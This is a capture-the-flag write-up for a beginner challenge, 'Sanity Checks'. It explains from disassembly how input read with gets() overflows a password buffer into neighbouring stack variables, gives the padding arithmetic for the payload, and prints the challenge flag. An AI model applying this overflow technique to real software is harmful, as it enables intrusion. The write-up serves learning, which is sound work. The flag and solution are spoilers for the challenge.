# Sanity Checks## Solution
When I read the code, I knew, that you basically had to overflow to the other variables. It is also a relatively standard binary exploitation exercise, similar to Stack 1 as in this writeup https://medium.com/@swapnilddeshpande/protostar-stack0-stack3-writeup-37b7941252c2.
I need to find the memory location of all the variables. I just used `objdump````4011b5:	48 8b 05 e4 2e 00 00 	mov    rax,QWORD PTR [rip+0x2ee4]        # 4040a0 <stderr@@GLIBC_2.2.5>4011bc:	be 00 00 00 00       	mov    esi,0x04011c1:	48 89 c7             	mov    rdi,rax4011c4:	e8 77 fe ff ff       	call   401040 <setbuf@plt>4011c9:	c7 45 fc 00 00 00 00 	mov    DWORD PTR [rbp-0x4],0x04011d0:	c7 45 f8 00 00 00 00 	mov    DWORD PTR [rbp-0x8],0x04011d7:	c7 45 f4 00 00 00 00 	mov    DWORD PTR [rbp-0xc],0x04011de:	c7 45 f0 00 00 00 00 	mov    DWORD PTR [rbp-0x10],0x04011e5:	c7 45 ec 00 00 00 00 	mov    DWORD PTR [rbp-0x14],0x04011ec:	48 8d 3d 15 0e 00 00 	lea    rdi,[rip+0xe15]        # 402008 <_IO_stdin_used+0x8>4011f3:	b8 00 00 00 00       	mov    eax,0x04011f8:	e8 53 fe ff ff       	call   401050 <printf@plt>4011fd:	48 8d 45 a0          	lea    rax,[rbp-0x60]401201:	48 89 c7             	mov    rdi,rax401204:	b8 00 00 00 00       	mov    eax,0x0401209:	e8 72 fe ff ff       	call   401080 <gets@plt>40120e:	48 8d 45 a0          	lea    rax,[rbp-0x60]401212:	48 8d 35 07 0e 00 00 	lea    rsi,[rip+0xe07]        # 402020 <_IO_stdin_used+0x20>401219:	48 89 c7             	mov    rdi,rax```The `password` is in `rbp-0x60`, while the other variables are `[rbp-0x4]` onwards
Some interesting tricks1. You have to put a null byte at the end of the `password123` string. This is to ensure that the program only reads `password123`, and not the garbage behind it.
Took me 24:06 min Man am I slow.
### Further Explanation of the Payload
The first part of the payload is payload = password.encode() + NULL_BYTE + (b"A" * (64-len(password)-1 + 0x60-0x14-64)) 
Initially 1. I put in the password in the payload2. After that I put a null byte. This signifies the end of the string, such that when the program accesses the password variable, it only gets that value we gave in step 13."A" characters are padded to reach the next location
The amount of padding is required can be calculated like this1. The first 64-len(password)-1 characters of "A" fills up the remaining of the password char array2.  We are padding from the end of the password array to the start of the next variable (which is when_i_learned_the_truth)  - The password is stored from [rbp-0x60] while the next variable is stored in [rbp-0x14] (check the disassembly if you are not sure) , hence the offset from the start of the password to the start of the next variable is 0x60-0x14- However, from step 1, we already filled up 64 characters from the start of the char array. Hence from the end of the password array to the start of the next variable is just 0x60-0x14-64
After the first part of the payload with the padding we can then add the variablesThe variables are added in reverse order compared to how they are stored in the code, mainly because they are stored in reverse order on the stack according to the binary
## Flag`actf{if_you_aint_bout_flags_then_i_dont_mess_with_yall}`